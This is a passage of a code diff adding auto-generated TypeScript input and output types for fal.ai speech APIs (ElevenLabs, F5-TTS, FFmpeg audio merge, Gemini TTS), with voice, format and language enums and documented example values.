@example Daniel + * @example Lily + * @example Bill + * @type string | undefined + */ + voice?: string + /** + * @description Style exaggeration (0-1) + * @minimum 0 + * @maximum 1 + * @default 0 + * @type number | undefined + */ + style?: number + /** + * @description The text to convert to speech + * @minLength 1 + * @example Hello! This is a test of the text to speech system, powered by ElevenLabs. How does it sound? + * @type string + */ + text: string + /** + * @description Similarity boost (0-1) + * @minimum 0 + * @maximum 1 + * @default 0.75 + * @type number | undefined + */ + similarity_boost?: number + /** + * @description Voice stability (0-1) + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @type number | undefined + */ + stability?: number +} + +export type FileC3904202 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiElevenlabsTtsMultilingualV2 = { + /** + * @description Timestamps for each word in the generated speech. Only returned if `timestamps` is set to True in the request. + */ + timestamps?: unknown[] | null + /** + * @description The generated audio file + * @example {"url":"https://v3.fal.media/files/zebra/zJL_oRY8h5RWwjoK1w7tx_output.mp3"} + * @type object + */ + audio: FileC3904202 +} + +export const inputFalAiElevenlabsTtsTurboV25ApplyTextNormalizationEnum = { + auto: 'auto', + on: 'on', + off: 'off', +} as const + +export type InputFalAiElevenlabsTtsTurboV25ApplyTextNormalizationEnumKey = + (typeof inputFalAiElevenlabsTtsTurboV25ApplyTextNormalizationEnum)[keyof typeof inputFalAiElevenlabsTtsTurboV25ApplyTextNormalizationEnum] + +export type InputFalAiElevenlabsTtsTurboV25 = { + /** + * @description Check input content for safety. Disabling requires account authorization. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Whether to return timestamps for each word in the generated speech + * @default false + * @type boolean | undefined + */ + timestamps?: boolean + /** + * @description Speech speed (0.7-1.2). Values below 1.0 slow down the speech, above 1.0 speed it up. Extreme values may affect quality. + * @minimum 0.7 + * @maximum 1.2 + * @default 1 + * @type number | undefined + */ + speed?: number + /** + * @description The text that came before the text of the current request. Can be used to improve the speech's continuity when concatenating together multiple generations or to influence the speech's continuity in the current generation. + */ + previous_text?: string | null + /** + * @description Language code (ISO 639-1) used to enforce a language for the model. An error will be returned if language code is not supported by the model. + */ + language_code?: string | null + /** + * @description This parameter controls text normalization with three modes: 'auto', 'on', and 'off'. When set to 'auto', the system will automatically decide whether to apply text normalization (e.g., spelling out numbers). With 'on', text normalization will always be applied, while with 'off', it will be skipped. + * @default 'auto' + * @type string | undefined + */ + apply_text_normalization?: InputFalAiElevenlabsTtsTurboV25ApplyTextNormalizationEnumKey + /** + * @description The text that comes after the text of the current request. Can be used to improve the speech's continuity when concatenating together multiple generations or to influence the speech's continuity in the current generation. + */ + next_text?: string | null + /** + * @description The voice to use for speech generation + * @default 'Rachel' + * @example Aria + * @example Roger + * @example Sarah + * @example Laura + * @example Charlie + * @example George + * @example Callum + * @example River + * @example Liam + * @example Charlotte + * @example Alice + * @example Matilda + * @example Will + * @example Jessica + * @example Eric + * @example Chris + * @example Brian + * @example Daniel + * @example Lily + * @example Bill + * @type string | undefined + */ + voice?: string + /** + * @description Style exaggeration (0-1) + * @minimum 0 + * @maximum 1 + * @default 0 + * @type number | undefined + */ + style?: number + /** + * @description The text to convert to speech + * @minLength 1 + * @example Hello! This is a test of the text to speech system, powered by ElevenLabs. How does it sound? + * @type string + */ + text: string + /** + * @description Similarity boost (0-1) + * @minimum 0 + * @maximum 1 + * @default 0.75 + * @type number | undefined + */ + similarity_boost?: number + /** + * @description Voice stability (0-1) + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @type number | undefined + */ + stability?: number +} + +export type File257886C6 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiElevenlabsTtsTurboV25 = { + /** + * @description Timestamps for each word in the generated speech. Only returned if `timestamps` is set to True in the request. + */ + timestamps?: unknown[] | null + /** + * @description The generated audio file + * @example {"url":"https://v3.fal.media/files/zebra/zJL_oRY8h5RWwjoK1w7tx_output.mp3"} + * @type object + */ + audio: File257886C6 +} + +export const inputFalAiElevenlabsVoiceChangerOutputFormatEnum = { + mp3_22050_32: 'mp3_22050_32', + mp3_44100_32: 'mp3_44100_32', + mp3_44100_64: 'mp3_44100_64', + mp3_44100_96: 'mp3_44100_96', + mp3_44100_128: 'mp3_44100_128', + mp3_44100_192: 'mp3_44100_192', + pcm_8000: 'pcm_8000', + pcm_16000: 'pcm_16000', + pcm_22050: 'pcm_22050', + pcm_24000: 'pcm_24000', + pcm_44100: 'pcm_44100', + pcm_48000: 'pcm_48000', + ulaw_8000: 'ulaw_8000', + alaw_8000: 'alaw_8000', + opus_48000_32: 'opus_48000_32', + opus_48000_64: 'opus_48000_64', + opus_48000_96: 'opus_48000_96', + opus_48000_128: 'opus_48000_128', + opus_48000_192: 'opus_48000_192', +} as const + +export type InputFalAiElevenlabsVoiceChangerOutputFormatEnumKey = + (typeof inputFalAiElevenlabsVoiceChangerOutputFormatEnum)[keyof typeof inputFalAiElevenlabsVoiceChangerOutputFormatEnum] + +export type InputFalAiElevenlabsVoiceChanger = { + /** + * @description If set, will remove the background noise from your audio input using our audio isolation model. + * @default false + * @type boolean | undefined + */ + remove_background_noise?: boolean + /** + * @description Output format of the generated audio. Formatted as codec_sample_rate_bitrate. + * @default 'mp3_44100_128' + * @type string | undefined + */ + output_format?: InputFalAiElevenlabsVoiceChangerOutputFormatEnumKey + /** + * @description The voice to use for speech generation + * @default 'Rachel' + * @example Aria + * @example Roger + * @example Sarah + * @example Laura + * @example Charlie + * @example George + * @example Callum + * @example River + * @example Liam + * @example Charlotte + * @example Alice + * @example Matilda + * @example Will + * @example Jessica + * @example Eric + * @example Chris + * @example Brian + * @example Daniel + * @example Lily + * @example Bill + * @type string | undefined + */ + voice?: string + /** + * @description Random seed for reproducibility. + * @type integer | undefined + */ + seed?: number + /** + * @description The input audio file + * @example https://storage.googleapis.com/falserverless/example_inputs/elevenlabs/voice_change_in.mp3 + * @type string + */ + audio_url: string +} + +export type File4A2232A5 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiElevenlabsVoiceChanger = { + /** + * @description Random seed for reproducibility. + * @example 1902083897 + * @type integer + */ + seed: number + /** + * @description The generated audio file + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/elevenlabs/voice_change_out.mp3"} + * @type object + */ + audio: File4A2232A5 +} + +export const inputFalAiF5TtsModelTypeEnum = { + 'F5-TTS': 'F5-TTS', + 'E2-TTS': 'E2-TTS', +} as const + +export type InputFalAiF5TtsModelTypeEnumKey = + (typeof inputFalAiF5TtsModelTypeEnum)[keyof typeof inputFalAiF5TtsModelTypeEnum] + +export type InputFalAiF5Tts = { + /** + * @description The name of the model to be used for TTS. + * @type string + */ + model_type: InputFalAiF5TtsModelTypeEnumKey + /** + * @description The reference text to be used for TTS. If not provided, an ASR (Automatic Speech Recognition) model will be used to generate the reference text. + * @default '' + * @example Some call me nature, others call me mother nature. + * @type string | undefined + */ + ref_text?: string + /** + * @description Whether to remove the silence from the audio file. + * @default true + * @type boolean | undefined + */ + remove_silence?: boolean + /** + * @description The URL of the reference audio file. + * @example https://storage.googleapis.com/falserverless/example_inputs/reference_audio.wav + * @type string + */ + ref_audio_url: string + /** + * @description Check input content for safety. Disabling requires account authorization. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The text to be converted to speech. Maximum 5000 characters. + * @example I don't really care what you call me. I've been a silent spectator, watching species evolve, empires rise and fall. But always remember, I am mighty and enduring. Respect me and I'll nurture you; ignore me and you shall face the consequences. + * @type string + */ + gen_text: string +} + +export type AudioFile28B830Cf = { + /** + * @default '8535dd59e911496a947daa35c07e67a3_tmplkcy6tut.wav' + * @example 8535dd59e911496a947daa35c07e67a3_tmplkcy6tut.wav + * @type string | undefined + */ + file_name?: string + /** + * @default 'audio/wav' + * @example audio/wav + * @type string | undefined + */ + content_type?: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @example https://v2.fal.media/files/8535dd59e911496a947daa35c07e67a3_tmplkcy6tut.wav + * @type string + */ + url: string +} + +export type OutputFalAiF5Tts = { + /** + * @description The audio file containing the generated speech. + * @type object + */ + audio_url: AudioFile28B830Cf +} + +export const inputFalAiFfmpegApiMergeAudiosOutputFormat = { + mp3_22050_32: 'mp3_22050_32', + mp3_44100_32: 'mp3_44100_32', + mp3_44100_64: 'mp3_44100_64', + mp3_44100_96: 'mp3_44100_96', + mp3_44100_128: 'mp3_44100_128', + mp3_44100_192: 'mp3_44100_192', + pcm_8000: 'pcm_8000', + pcm_16000: 'pcm_16000', + pcm_22050: 'pcm_22050', + pcm_24000: 'pcm_24000', + pcm_44100: 'pcm_44100', + pcm_48000: 'pcm_48000', + ulaw_8000: 'ulaw_8000', + alaw_8000: 'alaw_8000', + opus_48000_32: 'opus_48000_32', + opus_48000_64: 'opus_48000_64', + opus_48000_96: 'opus_48000_96', + opus_48000_128: 'opus_48000_128', + opus_48000_192: 'opus_48000_192', +} as const + +export type InputFalAiFfmpegApiMergeAudiosOutputFormatKey = + (typeof inputFalAiFfmpegApiMergeAudiosOutputFormat)[keyof typeof inputFalAiFfmpegApiMergeAudiosOutputFormat] + +export type InputFalAiFfmpegApiMergeAudios = { + /** + * @description List of audio URLs to merge in order. The 0th stream of the audio will be considered as the merge candidate. + * @example ["https://storage.googleapis.com/falserverless/example_inputs/ffmpeg_api/merge_audios/first.mp3","https://storage.googleapis.com/falserverless/example_inputs/ffmpeg_api/merge_audios/second.mp3"] + * @type array + */ + audio_urls: string[] + /** + * @description Output format of the combined audio. If not used, will be determined automatically using FFMPEG. Formatted as codec_sample_rate_bitrate. + */ + output_format?: InputFalAiFfmpegApiMergeAudiosOutputFormatKey | null +} + +export type File65834747 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiFfmpegApiMergeAudios = { + /** + * @description Merged audio file + * @example {"file_name":"merged_audios.mp3","url":"https://storage.googleapis.com/falserverless/example_outputs/ffmpeg_api/merge_audios.mp3","file_size":97401,"content_type":"audio/mpeg"} + * @type object + */ + audio: File65834747 +} + +export const speakerConfigVoiceEnum = { + Achernar: 'Achernar', + Achird: 'Achird', + Algenib: 'Algenib', + Algieba: 'Algieba', + Alnilam: 'Alnilam', + Aoede: 'Aoede', + Autonoe: 'Autonoe', + Callirrhoe: 'Callirrhoe', + Charon: 'Charon', + Despina: 'Despina', + Enceladus: 'Enceladus', + Erinome: 'Erinome', + Fenrir: 'Fenrir', + Gacrux: 'Gacrux', + Iapetus: 'Iapetus', + Kore: 'Kore', + Laomedeia: 'Laomedeia', + Leda: 'Leda', + Orus: 'Orus', + Pulcherrima: 'Pulcherrima', + Puck: 'Puck', + Rasalgethi: 'Rasalgethi', + Sadachbia: 'Sadachbia', + Sadaltager: 'Sadaltager', + Schedar: 'Schedar', + Sulafat: 'Sulafat', + Umbriel: 'Umbriel', + Vindemiatrix: 'Vindemiatrix', + Zephyr: 'Zephyr', + Zubenelgenubi: 'Zubenelgenubi', +} as const + +export type SpeakerConfigVoiceEnumKey = + (typeof speakerConfigVoiceEnum)[keyof typeof speakerConfigVoiceEnum] + +/** + * @description Voice configuration for a single speaker in multi-speaker synthesis. + * @type object + */ +export type SpeakerConfig = { + /** + * @description Voice preset for this speaker. + * @type string + */ + voice: SpeakerConfigVoiceEnumKey + /** + * @description Alias used to identify this speaker in the prompt. Use this alias as a prefix in the prompt field, e.g. 'Alice: Hello! Bob: Hi there!'. Must be alphanumeric with no whitespace. + * @pattern ^\w+$ + * @example Speaker1 + * @example Alice + * @example Narrator + * @type string + */ + speaker_id: string +} + +export const inputFalAiGemini31FlashTtsOutputFormatEnum = { + wav: 'wav', + mp3: 'mp3', + ogg_opus: 'ogg_opus', +} as const + +export type InputFalAiGemini31FlashTtsOutputFormatEnumKey = + (typeof inputFalAiGemini31FlashTtsOutputFormatEnum)[keyof typeof inputFalAiGemini31FlashTtsOutputFormatEnum] + +export const inputFalAiGemini31FlashTtsVoiceEnum = { + Achernar: 'Achernar', + Achird: 'Achird', + Algenib: 'Algenib', + Algieba: 'Algieba', + Alnilam: 'Alnilam', + Aoede: 'Aoede', + Autonoe: 'Autonoe', + Callirrhoe: 'Callirrhoe', + Charon: 'Charon', + Despina: 'Despina', + Enceladus: 'Enceladus', + Erinome: 'Erinome', + Fenrir: 'Fenrir', + Gacrux: 'Gacrux', + Iapetus: 'Iapetus', + Kore: 'Kore', + Laomedeia: 'Laomedeia', + Leda: 'Leda', + Orus: 'Orus', + Pulcherrima: 'Pulcherrima', + Puck: 'Puck', + Rasalgethi: 'Rasalgethi', + Sadachbia: 'Sadachbia', + Sadaltager: 'Sadaltager', + Schedar: 'Schedar', + Sulafat: 'Sulafat', + Umbriel: 'Umbriel', + Vindemiatrix: 'Vindemiatrix', + Zephyr: 'Zephyr', + Zubenelgenubi: 'Zubenelgenubi', +} as const + +export type InputFalAiGemini31FlashTtsVoiceEnumKey = + (typeof inputFalAiGemini31FlashTtsVoiceEnum)[keyof typeof inputFalAiGemini31FlashTtsVoiceEnum] + +export const inputFalAiGemini31FlashTtsLanguageCode = { + 'Arabic (Egypt)': 'Arabic (Egypt)', + 'Bangla (Bangladesh)': 'Bangla (Bangladesh)', + 'Dutch (Netherlands)': 'Dutch (Netherlands)', + 'English (India)': 'English (India)', + 'English (US)': 'English (US)', + 'French (France)': 'French (France)', + 'German (Germany)': 'German (Germany)', + 'Hindi (India)': 'Hindi (India)', + 'Indonesian (Indonesia)': 'Indonesian (Indonesia)', + 'Italian (Italy)': 'Italian (Italy)', + 'Japanese (Japan)': 'Japanese (Japan)', + 'Korean (South Korea)': 'Korean (South Korea)', + 'Marathi (India)': 'Marathi (India)', + 'Polish (Poland)': 'Polish (Poland)', + 'Portuguese (Brazil)': 'Portuguese (Brazil)', + 'Romanian (Romania)': 'Romanian (Romania)', + 'Russian (Russia)': 'Russian (Russia)', + 'Spanish (Spain)': 'Spanish (Spain)', + 'Tamil (India)': 'Tamil (India)', + 'Telugu (India)': 'Telugu (India)', + 'Thai (Thailand)': 'Thai (Thailand)', + 'Turkish (Turkey)': 'Turkish (Turkey)', + 'Ukrainian (Ukraine)': 'Ukrainian (Ukraine)', + 'Vietnamese (Vietnam)': 'Vietnamese (Vietnam)', + 'Afrikaans (South Africa)': 'Afrikaans (South Africa)', + 'Albanian (Albania)': 'Albanian (Albania)', + 'Amharic (Ethiopia)': 'Amharic (Ethiopia)', + 'Arabic (World)': 'Arabic (World)', + 'Armenian (Armenia)': 'Armenian (Armenia)', + 'Azerbaijani (Azerbaijan)': 'Azerbaijani (Azerbaijan)', + 'Basque (Spain)': 'Basque (Spain)', + 'Belarusian (Belarus)': 'Belarusian (Belarus)', + 'Bulgarian (Bulgaria)': 'Bulgarian (Bulgaria)', + 'Burmese (Myanmar)': 'Burmese (Myanmar)', + 'Catalan (Spain)': 'Catalan (Spain)', + 'Cebuano (Philippines)': 'Cebuano (Philippines)', + 'Chinese Mandarin (China)': 'Chinese Mandarin (China)', + 'Chinese Mandarin (Taiwan)': 'Chinese Mandarin (Taiwan)', + 'Croatian (Croatia)': 'Croatian (Croatia)', + 'Czech (Czech Republic)': 'Czech (Czech Republic)', + 'Danish (Denmark)': 'Danish (Denmark)', + 'English (Australia)': 'English (Australia)', + 'English (UK)': 'English (UK)', + 'Estonian (Estonia)': 'Estonian (Estonia)', + 'Filipino (Philippines)': 'Filipino (Philippines)', + 'Finnish (Finland)': 'Finnish (Finland)', + 'French (Canada)': 'French (Canada)', + 'Galician (Spain)': 'Galician (Spain)', + 'Georgian (Georgia)': 'Georgian (Georgia)', + 'Greek (Greece)': 'Greek (Greece)', + 'Gujarati (India)': 'Gujarati (India)', + 'Haitian Creole (Haiti)': 'Haitian Creole (Haiti)', + 'Hebrew (Israel)': 'Hebrew (Israel)', + 'Hungarian (Hungary)': 'Hungarian (Hungary)', + 'Icelandic (Iceland)': 'Icelandic (Iceland)', + 'Javanese (Java)': 'Javanese (Java)', + 'Kannada (India)': 'Kannada (India)', + 'Konkani (India)': 'Konkani (India)', + 'Lao (Laos)': 'Lao (Laos)', + 'Latin (Vatican City)': 'Latin (Vatican City)', + 'Latvian (Latvia)': 'Latvian (Latvia)', + 'Lithuanian (Lithuania)': 'Lithuanian (Lithuania)', + 'Luxembourgish (Luxembourg)': 'Luxembourgish (Luxembourg)', + 'Macedonian (North Macedonia)': 'Macedonian (North Macedonia)', + 'Maithili (India)': 'Maithili (India)', + 'Malagasy (Madagascar)': 'Malagasy (Madagascar)', + 'Malay (Malaysia)': 'Malay (Malaysia)', + 'Malayalam (India)': 'Malayalam (India)', + 'Mongolian (Mongolia)': 'Mongolian (Mongolia)', + 'Nepali (Nepal)': 'Nepali (Nepal)', + 'Norwegian Bokmal (Norway)': 'Norwegian Bokmal (Norway)', + 'Norwegian Nynorsk (Norway)': 'Norwegian Nynorsk (Norway)', + 'Odia (India)': 'Odia (India)', + 'Pashto (Afghanistan)': 'Pashto (Afghanistan)', + 'Persian (Iran)': 'Persian (Iran)', + 'Portuguese (Portugal)': 'Portuguese (Portugal)', + 'Punjabi (India)': 'Punjabi (India)', + 'Serbian (Serbia)': 'Serbian (Serbia)', + 'Sindhi (India)': 'Sindhi (India)', + 'Sinhala (Sri Lanka)': 'Sinhala (Sri Lanka)', + 'Slovak (Slovakia)': 'Slovak (Slovakia)', + 'Slovenian (Slovenia)': 'Slovenian (Slovenia)', + 'Spanish (Latin America)': 'Spanish (Latin America)', + 'Spanish (Mexico)': 'Spanish (Mexico)', + 'Swahili (Kenya)': 'Swahili (Kenya)', + 'Swedish (Sweden)': 'Swedish (Sweden)', + 'Urdu (Pakistan)': 'Urdu (Pakistan)', +} as const + +export type InputFalAiGemini31FlashTtsLanguageCodeKey = + (typeof inputFalAiGemini31FlashTtsLanguageCode)[keyof typeof inputFalAiGemini31FlashTtsLanguageCode] + +/** + * @description Input for Gemini 3.1 Flash TTS preview speech generation. + * @type object + */ +export type InputFalAiGemini31FlashTts = { + /** + * @description Check input content for safety. Disabling requires account authorization. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Audio output format. mp3: compressed, small file size (recommended). wav: uncompressed PCM wrapped in WAV (24 kHz, 16-bit mono). ogg_opus: Ogg container with Opus codec, good quality-to-size ratio. + * @default 'mp3' + * @type string | undefined + */ + output_format?: InputFalAiGemini31FlashTtsOutputFormatEnumKey + /** + * @description Voice preset for single-speaker synthesis. 30 distinct voices are available. Ignored when speakers is set. Popular choices: Kore (strong, firm female), Puck (upbeat, lively male), Charon (calm, professional male), Zephyr (bright, clear female), Aoede (warm, melodic female). + * @default 'Kore' + * @type string | undefined + */ + voice?: InputFalAiGemini31FlashTtsVoiceEnumKey + /** + * @description Controls the randomness of the speech output. Higher values produce more creative and varied delivery, while lower values make the output more predictable and focused. + * @minimum 0 + * @maximum 2 + * @default 1 + * @type number | undefined + */ + temperature?: number + /** + * @description Multi-speaker voice configuration. When set, enables multi-speaker synthesis where different parts of the text are spoken by different voices. Each speaker needs a voice and a speaker_id (alias) that matches prefixes in the prompt. + * @example [{"voice":"Charon","speaker_id":"Host"},{"voice":"Kore","speaker_id":"DrChen"}] + */ + speakers?: SpeakerConfig[] | [] | null + /** + * @description Optional style and delivery instructions prepended to the prompt. Controls expressiveness, accent, pace, tone, and emotional expression using natural language. Use this to separate style control from the text content. Examples: 'Speak warmly and slowly', 'Read this as a dramatic newscast', 'Use a British accent with a cheerful tone', 'Whisper mysteriously'. + * @example Say the following in a warm, conversational tone + * @example Read this as a dramatic newscast with gravitas + * @example Speak with a British accent, cheerfully and energetically + */ + style_instructions?: string | null + /** + * @description Language for multilingual synthesis. When set, steers the model to speak in the specified language. If not set, the model auto-detects the language from the text. + * @example English (US) + * @example French (France) + * @example Japanese (Japan) + */ + language_code?: InputFalAiGemini31FlashTtsLanguageCodeKey | null + /** + * @description The text to convert to speech. Gemini 3.1 Flash TTS supports natural-language prompting for style, pace, accent, and emotional expression — include delivery instructions inline with the text (e.g. 'Say cheerfully: Have a wonderful day!'). Supports expressive audio tags like [sigh], [laughing], [whispering], [short pause] for fine-grained control over delivery. For multi-speaker synthesis, prefix lines with speaker aliases defined in the speakers field (e.g. 'Alice: Hello!\nBob: Hi!'). + * @minLength 1 + * @maxLength 50000 + * @example I can't believe it worked! [laughing] After all those hours of debugging [sigh] it was just a missing semicolon. + * @type string + */ + prompt: string +} + +export type FileD8974B3D = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +/** + * @description Output for Gemini text-to-speech generation. + * @type object + */ +export type OutputFalAiGemini31FlashTts = { + /** + * @description The generated audio file. + * @example {"url":"https://v3b.fal.media/files/b/0a935d4f/Ez4NpcnFTuGsu2FHDaJTR_gemini_tts_output.mp3"} + * @type object + */ + audio: FileD8974B3D +} + +export const speakerConfig078755A0VoiceEnum = { + Achernar: 'Achernar', + Achird: 'Achird', + Algenib: 'Algenib', + Algieba: 'Algieba', + Alnilam: 'Alnilam', + Aoede: 'Aoede', + Autonoe: 'Autonoe', + Callirrhoe: 'Callirrhoe', + Charon: 'Charon', + Despina: 'Despina', + Enceladus: 'Enceladus', + Erinome: 'Erinome', + Fenrir: 'Fenrir', + Gacrux: 'Gacrux', + Iapetus: 'Iapetus', + Kore: 'Kore', + Laomedeia: 'Laomedeia', + Leda: 'Leda', + Orus: 'Orus', + Pulcherrima: 'Pulcherrima', + Puck: 'Puck', + Rasalgethi: 'Rasalgethi', + Sadachbia: 'Sadachbia', + Sadaltager: 'Sadaltager', + Schedar: 'Schedar', + Sulafat: 'Sulafat', + Umbriel: 'Umbriel', + Vindemiatrix: 'Vindemiatrix', + Zephyr: 'Zephyr', + Zubenelgenubi: 'Zubenelgenubi', +} as const + +export type SpeakerConfig078755A0VoiceEnumKey = + (typeof speakerConfig078755A0VoiceEnum)[keyof typeof speakerConfig078755A0VoiceEnum] + +/** + * @description Voice configuration for a single speaker in multi-speaker synthesis. + * @type object + */ +export type SpeakerConfig078755A0 = { + /** + * @description Alias used to identify this speaker in the prompt. Use this alias as a prefix in the prompt field, e.g. 'Alice: Hello! Bob: Hi there!'. Must be alphanumeric with no whitespace. + * @pattern ^\w+$ + * @example Speaker1 + * @example Alice + * @example Narrator + * @type string + */ + speaker_id: string + /** + * @description Voice preset for this speaker. + * @type string + */ + voice: SpeakerConfig078755A0VoiceEnumKey +} + +export const inputFalAiGeminiTtsModelEnum = { + 'gemini-2.5-flash-tts': 'gemini-2.5-flash-tts', + 'gemini-2.5-pro-tts': 'gemini-2.5-pro-tts', +} as const + +export type InputFalAiGeminiTtsModelEnumKey = + (typeof inputFalAiGeminiTtsModelEnum)[keyof typeof inputFalAiGeminiTtsModelEnum] + +export const inputFalAiGeminiTtsOutputFormatEnum = { + wav: 'wav', + mp3: 'mp3', + ogg_opus: 'ogg_opus', +} as const + +export type InputFalAiGeminiTtsOutputFormatEnumKey = + (typeof inputFalAiGeminiTtsOutputFormatEnum)[keyof typeof inputFalAiGeminiTtsOutputFormatEnum] + +export const inputFalAiGeminiTtsVoiceEnum = { + Achernar: 'Achernar', + Achird: 'Achird', + Algenib: 'Algenib', + Algieba: 'Algieba', + Alnilam: 'Alnilam', + Aoede: 'Aoede', + Autonoe: 'Autonoe', + Callirrhoe: 'Callirrhoe', + Charon: 'Charon', + Despina: 'Despina', + Enceladus: 'Enceladus', + Erinome: 'Erinome', + Fenrir: 'Fenrir', + Gacrux: 'Gacrux', + Iapetus: 'Iapetus', + Kore: 'Kore', + Laomedeia: 'Laomedeia', + Leda: 'Leda', + Orus: 'Orus', + Pulcherrima: 'Pulcherrima', + Puck: 'Puck', + Rasalgethi: 'Rasalgethi', + Sadachbia: 'Sadachbia', + Sadaltager: 'Sadaltager', + Schedar: 'Schedar', + Sulafat: 'Sulafat', + Umbriel: 'Umbriel', + Vindemiatrix: 'Vindemiatrix', + Zephyr: 'Zephyr', + Zubenelgenubi: 'Zubenelgenubi', +} as const + +export type InputFalAiGeminiTtsVoiceEnumKey = + (typeof inputFalAiGeminiTtsVoiceEnum)[keyof typeof inputFalAiGeminiTtsVoiceEnum] + +export const inputFalAiGeminiTtsLanguageCode = { + 'Arabic (Egypt)': 'Arabic (Egypt)', + 'Bangla (Bangladesh)': 'Bangla (Bangladesh)', + 'Dutch (Netherlands)': 'Dutch (Netherlands)', + 'English (India)': 'English (India)', + 'English (US)': 'English (US)', + 'French (France)': 'French (France)', + 'German (Germany)': 'German (Germany)', + 'Hindi (India)': 'Hindi (India)', + 'Indonesian (Indonesia)': 'Indonesian (Indonesia)', + 'Italian (Italy)': 'Italian (Italy)', + 'Japanese (Japan)': 'Japanese (Japan)', + 'Korean (South Korea)': 'Korean (South Korea)', + 'Marathi (India)': 'Marathi (India)', + 'Polish (Poland)': 'Polish (Poland)', + 'Portuguese (Brazil)': 'Portuguese (Brazil)', + 'Romanian (Romania)': 'Romanian (Romania)', + 'Russian (Russia)': 'Russian (Russia)', + 'Spanish (Spain)': 'Spanish (Spain)', + 'Tamil (India)': 'Tamil (India)', + 'Telugu (India)': 'Telugu (India)', + 'Thai (Thailand)': 'Thai (Thailand)', + 'Turkish (Turkey)': 'Turkish (Turkey)', + 'Ukrainian (Ukraine)': 'Ukrainian (Ukraine)', + 'Vietnamese (Vietnam)': 'Vietnamese (Vietnam)', + 'Afrikaans (South Africa)': 'Afrikaans (South Africa)', + 'Albanian (Albania)': 'Albanian (Albania)', + 'Amharic (Ethiopia)': 'Amharic (Ethiopia)', + 'Arabic (World)': 'Arabic (World)', + 'Armenian (Armenia)': 'Armenian (Armenia)', + 'Azerbaijani (Azerbaijan)': 'Azerbaijani (Azerbaijan)', + 'Basque (Spain)': 'Basque (Spain)', + 'Belarusian (Belarus)': 'Belarusian (Belarus)', + 'Bulgarian (Bulgaria)': 'Bulgarian (Bulgaria)', + 'Burmese (Myanmar)': 'Burmese (Myanmar)', + 'Catalan (Spain)': 'Catalan (Spain)', + 'Cebuano (Philippines)': 'Cebuano (Philippines)', + 'Chinese Mandarin (China)': 'Chinese Mandarin (China)', + 'Chinese Mandarin (Taiwan)': 'Chinese Mandarin (Taiwan)', + 'Croatian (Croatia)': 'Croatian (Croatia)', + 'Czech (Czech Republic)': 'Czech (Czech Republic)', + 'Danish (Denmark)': 'Danish (Denmark)', + 'English (Australia)': 'English (Australia)', + 'English (UK)': 'English (UK)', + 'Estonian (Estonia)': 'Estonian (Estonia)', + 'Filipino (Philippines)': 'Filipino (Philippines)', + 'Finnish (Finland)': 'Finnish (Finland)', + 'French (Canada)': 'French (Canada)', + 'Galician (Spain)': 'Galician (Spain)', + 'Georgian (Georgia)': 'Georgian (Georgia)', + 'Greek (Greece)': 'Greek (Greece)', + 'Gujarati (India)': 'Gujarati (India)', + 'Haitian Creole (Haiti)': 'Haitian Creole (Haiti)', + 'Hebrew (Israel)': 'Hebrew (Israel)', + 'Hungarian (Hungary)': 'Hungarian (Hungary)', + 'Icelandic (Iceland)': 'Icelandic (Iceland)', + 'Javanese (Java)': 'Javanese (Java)', + 'Kannada (India)': 'Kannada (India)', + 'Konkani (India)': 'Konkani (India)', + 'Lao (Laos)': 'Lao (Laos)', + 'Latin (Vatican City)': 'Latin (Vatican City)', + 'Latvian (Latvia)': 'Latvian (Latvia)', + 'Lithuanian (Lithuania)': 'Lithuanian (Lithuania)', + 'Luxembourgish (Luxembourg)': 'Luxembourgish (Luxembourg)', + 'Macedonian (North Macedonia)': 'Macedonian (North Macedonia)', + 'Maithili (India)': 'Maithili (India)', + 'Malagasy (Madagascar)': 'Malagasy (Madagascar)', + 'Malay (Malaysia)': 'Malay (Malaysia)', + 'Malayalam (India)': 'Malayalam (India)', + 'Mongolian (Mongolia)': 'Mongolian (Mongolia)', + 'Nepali (Nepal)': 'Nepali (Nepal)', + 'Norwegian Bokmal (Norway)': 'Norwegian Bokmal (Norway)', + 'Norwegian Nynorsk (Norway)': 'Norwegian Nynorsk (Norway)', + 'Odia (India)': 'Odia (India)', + 'Pashto (Afghanistan)': 'Pashto (Afghanistan)', + 'Persian (Iran)': 'Persian (Iran)', + 'Portuguese (Portugal)': 'Portuguese (Portugal)', + 'Punjabi (India)': 'Punjabi (India)', + 'Serbian (Serbia)': 'Serbian (Serbia)', + 'Sindhi (India)': 'Sindhi (India)', + 'Sinhala (Sri Lanka)': 'Sinhala (Sri Lanka)', + 'Slovak (Slovakia)': 'Slovak 